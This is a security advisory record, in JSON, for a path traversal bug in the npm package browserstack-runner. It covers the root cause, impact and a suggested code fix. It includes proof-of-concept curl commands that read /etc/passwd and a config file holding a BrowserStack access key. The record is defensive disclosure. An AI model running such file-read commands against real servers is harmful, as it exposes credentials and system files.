{"id":"GHSA-8rpw-6cqh-2v9h","summary":"browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server","details":"## Summary\n\nThe HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.\n\n## Root Cause\n\n**lib/server.js, lines 530–534 : `_default` handler:**\n\n```javascript\n'_default': function defaultHandler(uri, body, request, response) {\n    var filePath = path.join(process.cwd(), uri);\n    handleFile(filePath, request, response);\n}\n```\n\n`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.\n\n**bin/cli.js, line 131 : server binding:**\n\n```javascript\nserver.listen(parseInt(config.test_server_port, 10));\n```\n\nNo hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).\n\n**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.\n\n## Steps to Reproduce\n\n### Step 1 : Start the server (Terminal 1)\n\n```bash\ncd browserstack-runner\necho '\u003chtml\u003e\u003cbody\u003etest\u003c/body\u003e\u003c/html\u003e' \u003e _poc_test.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"_poc_test.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' \u003e browserstack.json\nnode bin/runner.js\n```\n\n### Step 2 : Read arbitrary files (Terminal 2)\n\n**Read /etc/hostname:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/hostname\"\n```\n\n**Read /etc/passwd:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/passwd\"\n```\n\n**Read the BrowserStack access key from config:**\n```bash\ncurl -s \"http://127.0.0.1:8888/browserstack.json\"\n```\n\n\u003e **Note:** `--path-as-is` is required because curl normalizes `../` sequences\n\u003e by default. Browsers and HTTP libraries that do not normalize URL paths\n\u003e (or that allow raw path construction) can exploit this without special flags.\n\n### Expected Result\n\n- `/etc/hostname` → server returns the machine hostname\n- `/etc/passwd` → server returns the full passwd file\n- `browserstack.json` → server returns the config including the BrowserStack access key\n\n## Impact\n\n- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext\n- **Source code theft** : all project files are readable\n- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.\n- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker\n\n## Suggested Fix\n\n1. Validate the resolved path stays within the project root:\n```javascript\nvar filePath = path.resolve(process.cwd(), '.' + uri);\nif (!filePath.startsWith(process.cwd() + path.sep)) {\n    sendError(response, 'Forbidden', 403);\n    return;\n}\n```\n2. Bind on `127.0.0.1`\n3. Add authentication to the `_default` handler","aliases":["CVE-2026-49144"],"modified":"2026-06-03T21:56:25.460243Z","published":"2026-06-03T21:38:40Z","database_specific":{"nvd_published_at":"2026-06-02T21:16:28Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-06-03T21:38:40Z"},"references":[{"type":"WEB","url":"https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-8rpw-6cqh-2v9h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49144"},{"type":"PACKAGE","url":"https://github.com/browserstack/browserstack-runner"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/browserstack-runner-path-traversal-via-default-http-handler"}],"affected":[{"package":{"name":"browserstack-runner","ecosystem":"npm","purl":"pkg:npm/browserstack-runner"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.9.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-8rpw-6cqh-2v9h/GHSA-8rpw-6cqh-2v9h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}